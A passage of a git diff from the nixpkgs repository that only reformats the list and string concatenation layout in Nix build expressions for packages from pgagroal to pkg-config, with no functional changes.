index 4ec8d31a2e98..8357d1ebc6da 100644
--- a/pkgs/by-name/pg/pgagroal/package.nix
+++ b/pkgs/by-name/pg/pgagroal/package.nix
@@ -32,7 +32,8 @@ stdenv.mkDerivation (finalAttrs: {
     cjson
     libev
     openssl
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ systemd ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ systemd ];
 
   meta = with lib; {
     description = "High-performance connection pool for PostgreSQL";
diff --git a/pkgs/by-name/pg/pgbouncer/package.nix b/pkgs/by-name/pg/pgbouncer/package.nix
index af6b31cd406d..48bf27eff184 100644
--- a/pkgs/by-name/pg/pgbouncer/package.nix
+++ b/pkgs/by-name/pg/pgbouncer/package.nix
@@ -24,7 +24,8 @@ stdenv.mkDerivation rec {
     libevent
     openssl
     c-ares
-  ] ++ lib.optional stdenv.hostPlatform.isLinux systemd;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux systemd;
   enableParallelBuilding = true;
   configureFlags = lib.optional stdenv.hostPlatform.isLinux "--with-systemd";
 
diff --git a/pkgs/by-name/pg/pgcopydb/package.nix b/pkgs/by-name/pg/pgcopydb/package.nix
index 86a346c55fdd..37ab95a7f486 100644
--- a/pkgs/by-name/pg/pgcopydb/package.nix
+++ b/pkgs/by-name/pg/pgcopydb/package.nix
@@ -29,18 +29,17 @@ clangStdenv.mkDerivation (finalAttrs: {
     postgresql.pg_config
   ];
 
-  buildInputs =
-    [
-      libkrb5
-      openssl
-      postgresql
-      readline
-      sqlite
-      zlib
-    ]
-    ++ lib.optionals clangStdenv.hostPlatform.isLinux [
-      pam
-    ];
+  buildInputs = [
+    libkrb5
+    openssl
+    postgresql
+    readline
+    sqlite
+    zlib
+  ]
+  ++ lib.optionals clangStdenv.hostPlatform.isLinux [
+    pam
+  ];
 
   hardeningDisable = [ "format" ];
 
diff --git a/pkgs/by-name/pg/pgpool/package.nix b/pkgs/by-name/pg/pgpool/package.nix
index f424f8bc87e9..73023b5d9aa2 100644
--- a/pkgs/by-name/pg/pgpool/package.nix
+++ b/pkgs/by-name/pg/pgpool/package.nix
@@ -23,13 +23,15 @@ stdenv.mkDerivation rec {
     libpq
     openssl
     libxcrypt
-  ] ++ lib.optional withPam pam;
+  ]
+  ++ lib.optional withPam pam;
 
   configureFlags = [
     "--sysconfdir=/etc"
     "--localstatedir=/var"
     "--with-openssl"
-  ] ++ lib.optional withPam "--with-pam";
+  ]
+  ++ lib.optional withPam "--with-pam";
 
   installFlags = [
     "sysconfdir=\${out}/etc"
diff --git a/pkgs/by-name/ph/photoqt/package.nix b/pkgs/by-name/ph/photoqt/package.nix
index 972c9a19424b..a7677345443b 100644
--- a/pkgs/by-name/ph/photoqt/package.nix
+++ b/pkgs/by-name/ph/photoqt/package.nix
@@ -31,28 +31,27 @@ stdenv.mkDerivation rec {
     qt6.wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      exiv2
-      graphicsmagick
-      libarchive
-      libraw
-      pugixml
-      qt6.qtbase
-      qt6.qtcharts
-      qt6.qtdeclarative
-      qt6.qtimageformats
-      qt6.qtlocation
-      qt6.qtmultimedia
-      qt6.qtpositioning
-      qt6.qtsvg
-      qt6Packages.poppler
-      zxing-cpp
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      mpv
-      qt6.qtwayland
-    ];
+  buildInputs = [
+    exiv2
+    graphicsmagick
+    libarchive
+    libraw
+    pugixml
+    qt6.qtbase
+    qt6.qtcharts
+    qt6.qtdeclarative
+    qt6.qtimageformats
+    qt6.qtlocation
+    qt6.qtmultimedia
+    qt6.qtpositioning
+    qt6.qtsvg
+    qt6Packages.poppler
+    zxing-cpp
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    mpv
+    qt6.qtwayland
+  ];
 
   cmakeFlags = [
     (lib.cmakeBool "DEVIL" false)
diff --git a/pkgs/by-name/pi/picard/package.nix b/pkgs/by-name/pi/picard/package.nix
index 7e2c76f8c13b..6935699a4331 100644
--- a/pkgs/by-name/pi/picard/package.nix
+++ b/pkgs/by-name/pi/picard/package.nix
@@ -28,28 +28,26 @@ pythonPackages.buildPythonApplication rec {
     hash = "sha256-Q0W5Q1+PbN+yneh98jx0/UNHVfD6okX92hxNzCE+Ibc=";
   };
 
-  nativeBuildInputs =
-    [
-      gettext
-      qt5.wrapQtAppsHook
-      pythonPackages.pytestCheckHook
-    ]
-    ++ lib.optionals (pyqt5.multimediaEnabled) [
-      gst_all_1.gst-libav
-      gst_all_1.gst-plugins-base
-      gst_all_1.gst-plugins-good
-      gst_all_1.gst-vaapi
-      gst_all_1.gstreamer
-    ];
+  nativeBuildInputs = [
+    gettext
+    qt5.wrapQtAppsHook
+    pythonPackages.pytestCheckHook
+  ]
+  ++ lib.optionals (pyqt5.multimediaEnabled) [
+    gst_all_1.gst-libav
+    gst_all_1.gst-plugins-base
+    gst_all_1.gst-plugins-good
+    gst_all_1.gst-vaapi
+    gst_all_1.gstreamer
+  ];
 
-  buildInputs =
-    [
-      qt5.qtbase
-      qt5.qtwayland
-    ]
-    ++ lib.optionals (pyqt5.multimediaEnabled) [
-      qt5.qtmultimedia.bin
-    ];
+  buildInputs = [
+    qt5.qtbase
+    qt5.qtwayland
+  ]
+  ++ lib.optionals (pyqt5.multimediaEnabled) [
+    qt5.qtmultimedia.bin
+  ];
 
   propagatedBuildInputs = with pythonPackages; [
     chromaprint
@@ -75,13 +73,12 @@ pythonPackages.buildPythonApplication rec {
   doCheck = true;
 
   # In order to spare double wrapping, we use:
-  preFixup =
-    ''
-      makeWrapperArgs+=("''${qtWrapperArgs[@]}")
-    ''
-    + lib.optionalString (pyqt5.multimediaEnabled) ''
-      makeWrapperArgs+=(--prefix GST_PLUGIN_SYSTEM_PATH_1_0 : "$GST_PLUGIN_SYSTEM_PATH_1_0")
-    '';
+  preFixup = ''
+    makeWrapperArgs+=("''${qtWrapperArgs[@]}")
+  ''
+  + lib.optionalString (pyqt5.multimediaEnabled) ''
+    makeWrapperArgs+=(--prefix GST_PLUGIN_SYSTEM_PATH_1_0 : "$GST_PLUGIN_SYSTEM_PATH_1_0")
+  '';
 
   meta = {
     homepage = "https://picard.musicbrainz.org";
diff --git a/pkgs/by-name/pi/picolibc/package.nix b/pkgs/by-name/pi/picolibc/package.nix
index e870fbe3d3f3..6a43fb23d866 100644
--- a/pkgs/by-name/pi/picolibc/package.nix
+++ b/pkgs/by-name/pi/picolibc/package.nix
@@ -119,78 +119,77 @@ stdenv.mkDerivation (finalAttrs: {
   # Default values taken from
   # Build fails without using them.
   # https://github.com/picolibc/picolibc/blob/e57b766cb5d80f23c20d05ab067001d85910f927/doc/os.md?plain=1#L183
-  mesonFlags =
-    [
-      (mesonBool "multilib" multilib)
-      (mesonBool "sanitize-bounds" sanitize-bounds)
-      (mesonBool "sanitize-trap-on-error" sanitize-trap-on-error)
-      (mesonBool "profile" profile)
-      (mesonBool "analyzer" analyzer)
-      (mesonBool "assert-verbose" assert-verbose)
-      (mesonBool "fast-strcmp" fast-strcmp)
+  mesonFlags = [
+    (mesonBool "multilib" multilib)
+    (mesonBool "sanitize-bounds" sanitize-bounds)
+    (mesonBool "sanitize-trap-on-error" sanitize-trap-on-error)
+    (mesonBool "profile" profile)
+    (mesonBool "analyzer" analyzer)
+    (mesonBool "assert-verbose" assert-verbose)
+    (mesonBool "fast-strcmp" fast-strcmp)
 
-      # Testing options
-      (mesonBool "picolib" picolib)
-      (mesonBool "semihost" semihost)
-      (mesonBool "use-stdlib" true)
+    # Testing options
+    (mesonBool "picolib" picolib)
+    (mesonBool "semihost" semihost)
+    (mesonBool "use-stdlib" true)
 
-      # Install options
-      (mesonOption "specsdir" "${placeholder "dev"}/lib")
+    # Install options
+    (mesonOption "specsdir" "${placeholder "dev"}/lib")
 
-      (mesonBool "tinystdio" tinystdio)
-      (mesonBool "io-c99-formats" io-c99-formats)
-      (mesonBool "io-long-long" io-long-long)
-      (mesonBool "io-pos-args" io-pos-args)
-      (mesonBool "io-long-double" io-long-double)
+    (mesonBool "tinystdio" tinystdio)
+    (mesonBool "io-c99-formats" io-c99-formats)
+    (mesonBool "io-long-long" io-long-long)
+    (mesonBool "io-pos-args" io-pos-args)
+    (mesonBool "io-long-double" io-long-double)
 
-      (mesonBool "io-float-exact" io-float-exact)
-      (mesonBool "atomic-ungetc" atomic-ungetc)
-      (mesonBool "posix-console" posix-console)
-      (mesonOption "format-default" format-default)
-      (mesonBool "printf-aliases" printf-aliases)
-      (mesonBool "io-percent-b" io-percent-b)
-      (mesonBool "printf-small-ultoa" printf-small-ultoa)
-      (mesonBool "printf-percent-n" printf-percent-n)
-      (mesonBool "minimal-io-long-long" minimal-io-long-long)
-      (mesonBool "fast-bufio" fast-bufio)
-      (mesonBool "io-wchar" io-wchar)
+    (mesonBool "io-float-exact" io-float-exact)
+    (mesonBool "atomic-ungetc" atomic-ungetc)
+    (mesonBool "posix-console" posix-console)
+    (mesonOption "format-default" format-default)
+    (mesonBool "printf-aliases" printf-aliases)
+    (mesonBool "io-percent-b" io-percent-b)
+    (mesonBool "printf-small-ultoa" printf-small-ultoa)
+    (mesonBool "printf-percent-n" printf-percent-n)
+    (mesonBool "minimal-io-long-long" minimal-io-long-long)
+    (mesonBool "fast-bufio" fast-bufio)
+    (mesonBool "io-wchar" io-wchar)
 
-      (mesonBool "mb-capable" mb-capable)
-      (mesonBool "mb-extended-charsets" mb-extended-charsets)
-      (mesonOption "mb-ucs-charsets" mb-ucs-charsets)
-      (mesonOption "mb-iso-charsets" mb-iso-charsets)
-      (mesonOption "mb-jis-charsets" mb-jis-charsets)
-      (mesonOption "mb-windows-charsets" mb-windows-charsets)
+    (mesonBool "mb-capable" mb-capable)
+    (mesonBool "mb-extended-charsets" mb-extended-charsets)
+    (mesonOption "mb-ucs-charsets" mb-ucs-charsets)
+    (mesonOption "mb-iso-charsets" mb-iso-charsets)
+    (mesonOption "mb-jis-charsets" mb-jis-charsets)
+    (mesonOption "mb-windows-charsets" mb-windows-charsets)
 
-      (mesonBool "picocrt" picocrt)
-      (mesonBool "picocrt-enable-mmu" picocrt-enable-mmu)
-      (mesonBool "picocrt-lib" picocrt-lib)
-      (mesonBool "picoexit" picoexit)
-      (mesonBool "newlib-initfini-array" initfini-array)
-      (mesonBool "crt-runtime-size" crt-runtime-size)
+    (mesonBool "picocrt" picocrt)
+    (mesonBool "picocrt-enable-mmu" picocrt-enable-mmu)
+    (mesonBool "picocrt-lib" picocrt-lib)
+    (mesonBool "picoexit" picoexit)
+    (mesonBool "newlib-initfini-array" initfini-array)
+    (mesonBool "crt-runtime-size" crt-runtime-size)
 
-      (mesonBool "newlib-atexit-dynamic-alloc" newlib-atexit-dynamic-alloc)
-      (mesonBool "newlib-global-atexit" newlib-global-atexit)
-      (mesonBool "newlib-register-fini" newlib-register-fini)
+    (mesonBool "newlib-atexit-dynamic-alloc" newlib-atexit-dynamic-alloc)
+    (mesonBool "newlib-global-atexit" newlib-global-atexit)
+    (mesonBool "newlib-register-fini" newlib-register-fini)
 
-      (mesonBool "newlib-nano-malloc" newlib-nano-malloc)
-      (mesonBool "nano-malloc-clear-freed" nano-malloc-clear-freed)
+    (mesonBool "newlib-nano-malloc" newlib-nano-malloc)
+    (mesonBool "nano-malloc-clear-freed" nano-malloc-clear-freed)
 
-      (mesonBool "newlib-multithread" (!single-thread))
+    (mesonBool "newlib-multithread" (!single-thread))
 
-      (mesonOption "thread-local-storage" thread-local-storage)
-      (mesonOption "tls-model" tls-model)
-      (mesonBool "newlib-global-errno" newlib-global-errno)
-      (mesonOption "errno-function" errno-function)
-      (mesonBool "tls-rp2040" tls-rp2040)
+    (mesonOption "thread-local-storage" thread-local-storage)
+    (mesonOption "tls-model" tls-model)
+    (mesonBool "newlib-global-errno" newlib-global-errno)
+    (mesonOption "errno-function" errno-function)
+    (mesonBool "tls-rp2040" tls-rp2040)
 
-      (mesonBool "want-math-errno" want-math-errno)
-    ]
-    ++ lib.optionals finalAttrs.doCheck [
-      (mesonBool "tests" true)
-      # Something is broken with this and I'm not sure what.
-      (mesonOption "tests-cdefs" "false")
-    ];
+    (mesonBool "want-math-errno" want-math-errno)
+  ]
+  ++ lib.optionals finalAttrs.doCheck [
+    (mesonBool "tests" true)
+    # Something is broken with this and I'm not sure what.
+    (mesonOption "tests-cdefs" "false")
+  ];
 
   doCheck = canExecute;
 
diff --git a/pkgs/by-name/pi/picolisp/package.nix b/pkgs/by-name/pi/picolisp/package.nix
index 237649250e24..e9bfca1a2370 100644
--- a/pkgs/by-name/pi/picolisp/package.nix
+++ b/pkgs/by-name/pi/picolisp/package.nix
@@ -29,16 +29,15 @@ stdenv.mkDerivation {
     readline
   ];
   sourceRoot = ''pil21'';
-  preBuild =
-    ''
-      cd src
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # Flags taken from instructions at: https://picolisp.com/wiki/?alternativeMacOSRepository
-      makeFlagsArray+=(
-        SHARED='-dynamiclib -undefined dynamic_lookup'
-      )
-    '';
+  preBuild = ''
+    cd src
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # Flags taken from instructions at: https://picolisp.com/wiki/?alternativeMacOSRepository
+    makeFlagsArray+=(
+      SHARED='-dynamiclib -undefined dynamic_lookup'
+    )
+  '';
 
   installPhase = ''
     cd ..
diff --git a/pkgs/by-name/pi/picom/package.nix b/pkgs/by-name/pi/picom/package.nix
index 1e07ef86231f..ed386a0ebaf7 100644
--- a/pkgs/by-name/pi/picom/package.nix
+++ b/pkgs/by-name/pi/picom/package.nix
@@ -93,14 +93,13 @@ stdenv.mkDerivation (finalAttrs: {
 
   # In debug mode, also copy src directory to store. If you then run `gdb picom`
   # in the bin directory of picom store path, gdb finds the source files.
-  postInstall =
-    ''
-      wrapProgram $out/bin/picom-trans \
-        --prefix PATH : ${lib.makeBinPath [ xwininfo ]}
-    ''
-    + lib.optionalString withDebug ''
-      cp -r ../src $out/
-    '';
+  postInstall = ''
+    wrapProgram $out/bin/picom-trans \
+      --prefix PATH : ${lib.makeBinPath [ xwininfo ]}
+  ''
+  + lib.optionalString withDebug ''
+    cp -r ../src $out/
+  '';
 
   nativeInstallCheckInputs = [
     versionCheckHook
diff --git a/pkgs/by-name/pi/pijul/package.nix b/pkgs/by-name/pi/pijul/package.nix
index 8f7cbd50042d..abc134daaf98 100644
--- a/pkgs/by-name/pi/pijul/package.nix
+++ b/pkgs/by-name/pi/pijul/package.nix
@@ -33,7 +33,8 @@ rustPlatform.buildRustPackage rec {
     openssl
     libsodium
     xxHash
-  ] ++ (lib.optionals gitImportSupport [ libgit2 ]);
+  ]
+  ++ (lib.optionals gitImportSupport [ libgit2 ]);
 
   buildFeatures = lib.optional gitImportSupport "git";
 
diff --git a/pkgs/by-name/pi/pikchr/package.nix b/pkgs/by-name/pi/pikchr/package.nix
index 270f0f0a3b6f..eed0842e47cf 100644
--- a/pkgs/by-name/pi/pikchr/package.nix
+++ b/pkgs/by-name/pi/pikchr/package.nix
@@ -31,19 +31,18 @@ stdenv.mkDerivation {
 
   buildFlags = [ "pikchr" ] ++ lib.optional enableTcl "piktcl";
 
-  installPhase =
-    ''
-      runHook preInstall
-      install -Dm755 pikchr $out/bin/pikchr
-      install -Dm755 pikchr.out $out/lib/pikchr.o
-      install -Dm644 pikchr.h $out/include/pikchr.h
-    ''
-    + lib.optionalString enableTcl ''
-      cp -r piktcl $out/lib/piktcl
-    ''
-    + ''
-      runHook postInstall
-    '';
+  installPhase = ''
+    runHook preInstall
+    install -Dm755 pikchr $out/bin/pikchr
+    install -Dm755 pikchr.out $out/lib/pikchr.o
+    install -Dm644 pikchr.h $out/include/pikchr.h
+  ''
+  + lib.optionalString enableTcl ''
+    cp -r piktcl $out/lib/piktcl
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   dontWrapTclBinaries = true;
 
diff --git a/pkgs/by-name/pi/pilot-link/package.nix b/pkgs/by-name/pi/pilot-link/package.nix
index a7b6f3813b50..ea3f75aad9b9 100644
--- a/pkgs/by-name/pi/pilot-link/package.nix
+++ b/pkgs/by-name/pi/pilot-link/package.nix
@@ -31,31 +31,33 @@ stdenv.mkDerivation {
   # Resolve build issues on modern systems.
   # https://github.com/desrod/pilot-link/issues/16
   # https://aur.archlinux.org/packages/pilot-link-git
-  patches =
-    [
-      ./configure-checks.patch
-      ./incompatible-pointer-type.patch
-    ]
-    ++ lib.optionals enableConduits [ ./format-string-literals.patch ]
-    ++ lib.optionals enableLibpng [ ./pilot-link-png14.patch ];
+  patches = [
+    ./configure-checks.patch
+    ./incompatible-pointer-type.patch
+  ]
+  ++ lib.optionals enableConduits [ ./format-string-literals.patch ]
+  ++ lib.optionals enableLibpng [ ./pilot-link-png14.patch ];
 
   nativeBuildInputs = [
     autoreconfHook
     pkg-config
-  ] ++ lib.optionals enableConduits [ bison ];
+  ]
+  ++ lib.optionals enableConduits [ bison ];
 
-  buildInputs =
-    [ popt ]
-    ++ lib.optionals bluezSupport [ bluez ]
-    ++ lib.optionals enableLibpng [ libpng ]
-    ++ lib.optionals enableLibusb [ libusb-compat-0_1 ]
-    ++ lib.optionals readlineSupport [ readline ];
+  buildInputs = [
+    popt
+  ]
+  ++ lib.optionals bluezSupport [ bluez ]
+  ++ lib.optionals enableLibpng [ libpng ]
+  ++ lib.optionals enableLibusb [ libusb-compat-0_1 ]
+  ++ lib.optionals readlineSupport [ readline ];
 
-  configureFlags =
-    [ "--with-libiconv" ]
-    ++ lib.optionals enableConduits [ "--enable-conduits" ]
-    ++ lib.optionals enableLibpng [ "--enable-libpng" ]
-    ++ lib.optionals enableLibusb [ "--enable-libusb" ];
+  configureFlags = [
+    "--with-libiconv"
+  ]
+  ++ lib.optionals enableConduits [ "--enable-conduits" ]
+  ++ lib.optionals enableLibpng [ "--enable-libpng" ]
+  ++ lib.optionals enableLibusb [ "--enable-libusb" ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/pi/pineflash/package.nix b/pkgs/by-name/pi/pineflash/package.nix
index b68594035764..57771752ae6c 100644
--- a/pkgs/by-name/pi/pineflash/package.nix
+++ b/pkgs/by-name/pi/pineflash/package.nix
@@ -33,7 +33,8 @@ rustPlatform.buildRustPackage rec {
 
   nativeBuildInputs = [
     pkg-config
-  ] ++ lib.optional stdenv.hostPlatform.isLinux autoPatchelfHook;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux autoPatchelfHook;
 
   buildInputs = [
     blisp
@@ -51,21 +52,20 @@ rustPlatform.buildRustPackage rec {
     wayland
   ];
 
-  postPatch =
-    ''
-      substituteInPlace src/submodules/flash.rs \
-        --replace-fail 'let command = Command::new("pkexec")' 'let command = Command::new("/run/wrappers/bin/pkexec")'
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      substituteInPlace src/submodules/flash.rs \
-        --replace-fail 'let blisppath = "blisp";' 'let blisppath = "${lib.getExe blisp}";' \
-        --replace-fail 'let dfupath = "dfu-util";' 'let dfupath = "${lib.getExe' dfu-util "dfu-util"}";'
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace src/submodules/flash.rs \
-        --replace-fail 'Command::new("blisp")' 'Command::new("${lib.getExe blisp}")' \
-        --replace-fail 'Command::new("dfu-util")' 'Command::new("${lib.getExe' dfu-util "dfu-util"}")'
-    '';
+  postPatch = ''
+    substituteInPlace src/submodules/flash.rs \
+      --replace-fail 'let command = Command::new("pkexec")' 'let command = Command::new("/run/wrappers/bin/pkexec")'
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    substituteInPlace src/submodules/flash.rs \
+      --replace-fail 'let blisppath = "blisp";' 'let blisppath = "${lib.getExe blisp}";' \
+      --replace-fail 'let dfupath = "dfu-util";' 'let dfupath = "${lib.getExe' dfu-util "dfu-util"}";'
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace src/submodules/flash.rs \
+      --replace-fail 'Command::new("blisp")' 'Command::new("${lib.getExe blisp}")' \
+      --replace-fail 'Command::new("dfu-util")' 'Command::new("${lib.getExe' dfu-util "dfu-util"}")'
+  '';
 
   postInstall = ''
     mkdir -p "$out/share/applications"
diff --git a/pkgs/by-name/pi/pinocchio/package.nix b/pkgs/by-name/pi/pinocchio/package.nix
index 39d1f62a1d78..a5df29fa8b8b 100644
--- a/pkgs/by-name/pi/pinocchio/package.nix
+++ b/pkgs/by-name/pi/pinocchio/package.nix
@@ -56,51 +56,48 @@ stdenv.mkDerivation (finalAttrs: {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      cmake
-      doxygen
-      pkg-config
-    ]
-    ++ lib.optionals pythonSupport [
-      python3Packages.python
-      python3Packages.pythonImportsCheckHook
-    ];
+  nativeBuildInputs = [
+    cmake
+    doxygen
+    pkg-config
+  ]
+  ++ lib.optionals pythonSupport [
+    python3Packages.python
+    python3Packages.pythonImportsCheckHook
+  ];
 
-  propagatedBuildInputs =
-    [
-      console-bridge
-      jrl-cmakemodules
-      urdfdom
-    ]
-    ++ lib.optionals (!pythonSupport) [
-      boost
-      eigen
-    ]
-    ++ lib.optionals (!pythonSupport && collisionSupport) [ coal ]
-    ++ lib.optionals pythonSupport [
-      python3Packages.boost
-      python3Packages.eigenpy
-    ]
-    ++ lib.optionals (pythonSupport && collisionSupport) [ python3Packages.coal ]
-    ++ lib.optionals (!pythonSupport && casadiSupport) [ casadi ]
-    ++ lib.optionals (pythonSupport && casadiSupport) [ python3Packages.casadi ];
+  propagatedBuildInputs = [
+    console-bridge
+    jrl-cmakemodules
+    urdfdom
+  ]
+  ++ lib.optionals (!pythonSupport) [
+    boost
+    eigen
+  ]
+  ++ lib.optionals (!pythonSupport && collisionSupport) [ coal ]
+  ++ lib.optionals pythonSupport [
+    python3Packages.boost
+    python3Packages.eigenpy
+  ]
+  ++ lib.optionals (pythonSupport && collisionSupport) [ python3Packages.coal ]
+  ++ lib.optionals (!pythonSupport && casadiSupport) [ casadi ]
+  ++ lib.optionals (pythonSupport && casadiSupport) [ python3Packages.casadi ];
 
   checkInputs = lib.optionals (pythonSupport && casadiSupport) [ python3Packages.matplotlib ];
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "BUILD_PYTHON_INTERFACE" pythonSupport)
-      (lib.cmakeBool "BUILD_WITH_LIBPYTHON" pythonSupport)
-      (lib.cmakeBool "BUILD_WITH_CASADI_SUPPORT" casadiSupport)
-      (lib.cmakeBool "BUILD_WITH_COLLISION_SUPPORT" collisionSupport)
-      (lib.cmakeBool "INSTALL_DOCUMENTATION" true)
-      # Disable test that fails on darwin
-      # https://github.com/stack-of-tasks/pinocchio/blob/42306ed023b301aafef91e2e76cb070c5e9c3f7d/flake.nix#L24C1-L27C17
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      (lib.cmakeFeature "CMAKE_CTEST_ARGUMENTS" "--exclude-regex;pinocchio-example-py-casadi-quadrotor-ocp")
-    ];
+  cmakeFlags = [
+    (lib.cmakeBool "BUILD_PYTHON_INTERFACE" pythonSupport)
+    (lib.cmakeBool "BUILD_WITH_LIBPYTHON" pythonSupport)
+    (lib.cmakeBool "BUILD_WITH_CASADI_SUPPORT" casadiSupport)
+    (lib.cmakeBool "BUILD_WITH_COLLISION_SUPPORT" collisionSupport)
+    (lib.cmakeBool "INSTALL_DOCUMENTATION" true)
+    # Disable test that fails on darwin
+    # https://github.com/stack-of-tasks/pinocchio/blob/42306ed023b301aafef91e2e76cb070c5e9c3f7d/flake.nix#L24C1-L27C17
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    (lib.cmakeFeature "CMAKE_CTEST_ARGUMENTS" "--exclude-regex;pinocchio-example-py-casadi-quadrotor-ocp")
+  ];
 
   doCheck = true;
   pythonImportsCheck = [ "pinocchio" ];
diff --git a/pkgs/by-name/pi/pitivi/package.nix b/pkgs/by-name/pi/pitivi/package.nix
index 6682826cbc6d..1d3e38538eab 100644
--- a/pkgs/by-name/pi/pitivi/package.nix
+++ b/pkgs/by-name/pi/pitivi/package.nix
@@ -49,25 +49,24 @@ python3.pkgs.buildPythonApplication rec {
     gobject-introspection
   ];
 
-  buildInputs =
-    [
-      gtk3
-      libpeas
-      librsvg
-      gsound
-      gsettings-desktop-schemas
-      libnotify
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-editing-services
-      gst-plugins-base
-      (gst-plugins-good.override { gtkSupport = true; })
-      gst-plugins-bad
-      gst-plugins-ugly
-      gst-libav
-      gst-devtools
-    ]);
+  buildInputs = [
+    gtk3
+    libpeas
+    librsvg
+    gsound
+    gsettings-desktop-schemas
+    libnotify
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-editing-services
+    gst-plugins-base
+    (gst-plugins-good.override { gtkSupport = true; })
+    gst-plugins-bad
+    gst-plugins-ugly
+    gst-libav
+    gst-devtools
+  ]);
 
   pythonPath = with python3.pkgs; [
     pygobject3
diff --git a/pkgs/by-name/pj/pjsip/package.nix b/pkgs/by-name/pj/pjsip/package.nix
index 5d0e9484c838..aa3929e519d4 100644
--- a/pkgs/by-name/pj/pjsip/package.nix
+++ b/pkgs/by-name/pj/pjsip/package.nix
@@ -45,7 +45,8 @@ stdenv.mkDerivation (finalAttrs: {
   buildInputs = [
     openssl
     libsamplerate
-  ] ++ lib.optional stdenv.hostPlatform.isLinux alsa-lib;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux alsa-lib;
 
   env =
     lib.optionalAttrs stdenv.cc.isClang { CXXFLAGS = "-std=c++11"; }
@@ -65,53 +66,52 @@ stdenv.mkDerivation (finalAttrs: {
 
   outputs = [ "out" ] ++ lib.optional pythonSupport "py";
 
-  postInstall =
-    ''
-      mkdir -p $out/bin
-      cp pjsip-apps/bin/pjsua-* $out/bin/pjsua
-      mkdir -p $out/share/${finalAttrs.pname}-${finalAttrs.version}/samples
-      cp pjsip-apps/bin/samples/*/* $out/share/${finalAttrs.pname}-${finalAttrs.version}/samples
-    ''
-    + lib.optionalString pythonSupport ''
-      (cd pjsip-apps/src/swig/python && \
-          python -m build --no-isolation --outdir dist/ --wheel
-          python -m installer --prefix $py dist/*.whl
-      )
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # On MacOS relative paths are used to refer to libraries. All libraries use
-      # a relative path like ../lib/*.dylib or ../../lib/*.dylib. We need to
-      # rewrite these to use absolute ones.
+  postInstall = ''
+    mkdir -p $out/bin
+    cp pjsip-apps/bin/pjsua-* $out/bin/pjsua
+    mkdir -p $out/share/${finalAttrs.pname}-${finalAttrs.version}/samples
+    cp pjsip-apps/bin/samples/*/* $out/share/${finalAttrs.pname}-${finalAttrs.version}/samples
+  ''
+  + lib.optionalString pythonSupport ''
+    (cd pjsip-apps/src/swig/python && \
+        python -m build --no-isolation --outdir dist/ --wheel
+        python -m installer --prefix $py dist/*.whl
+    )
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # On MacOS relative paths are used to refer to libraries. All libraries use
+    # a relative path like ../lib/*.dylib or ../../lib/*.dylib. We need to
+    # rewrite these to use absolute ones.
 
-      # First, find all libraries (and their symlinks) in our outputs to define
-      # the install_name_tool -change arguments we should pass.
-      readarray -t libraries < <(
-        for outputName in $(getAllOutputNames); do
-          find "''${!outputName}" \( -name '*.dylib*' -o -name '*.so*' \)
-        done
-      )
-
-      # Determine the install_name_tool -change arguments that are going to be
-      # applied to all libraries.
-      change_args=()
-      for lib in "''${libraries[@]}"; do
-        lib_name="$(basename $lib)"
-        change_args+=(-change ../lib/$lib_name $lib)
-        change_args+=(-change ../../lib/$lib_name $lib)
+    # First, find all libraries (and their symlinks) in our outputs to define
+    # the install_name_tool -change arguments we should pass.
+    readarray -t libraries < <(
+      for outputName in $(getAllOutputNames); do
+        find "''${!outputName}" \( -name '*.dylib*' -o -name '*.so*' \)
       done
+    )
 
-      # Rewrite id and library refences for all non-symlinked libraries.
-      for lib in "''${libraries[@]}"; do
-        if [ -f "$lib" ]; then
-          install_name_tool -id $lib "''${change_args[@]}" $lib
-        fi
-      done
+    # Determine the install_name_tool -change arguments that are going to be
+    # applied to all libraries.
+    change_args=()
+    for lib in "''${libraries[@]}"; do
+      lib_name="$(basename $lib)"
+      change_args+=(-change ../lib/$lib_name $lib)
+      change_args+=(-change ../../lib/$lib_name $lib)
+    done
 
-      # Rewrite library references for all executables.
-      find "$out" -executable -type f | while read executable; do
-        install_name_tool "''${change_args[@]}" "$executable"
-      done
-    '';
+    # Rewrite id and library refences for all non-symlinked libraries.
+    for lib in "''${libraries[@]}"; do
+      if [ -f "$lib" ]; then
+        install_name_tool -id $lib "''${change_args[@]}" $lib
+      fi
+    done
+
+    # Rewrite library references for all executables.
+    find "$out" -executable -type f | while read executable; do
+      install_name_tool "''${change_args[@]}" "$executable"
+    done
+  '';
 
   # We need the libgcc_s.so.1 loadable (for pthread_cancel to work)
   dontPatchELF = true;
diff --git a/pkgs/by-name/pk/pkg-config-unwrapped/package.nix b/pkgs/by-name/pk/pkg-config-unwrapped/package.nix
index bcd386b134b4..95731b61f2c1 100644
--- a/pkgs/by-name/pk/pkg-config-unwrapped/package.nix
+++ b/pkgs/by-name/pk/pkg-config-unwrapped/package.nix
@@ -42,21 +42,22 @@ stdenv.mkDerivation rec {
 
   buildInputs = [ libiconv ];
 
-  configureFlags =
-    [ "--with-internal-glib" ]
-    ++ lib.optionals (stdenv.hostPlatform.isSunOS) [
-      "--with-libiconv=gnu"
-      "--with-system-library-path"
-      "--with-system-include-path"
-      "CFLAGS=-DENABLE_NLS"
-    ]
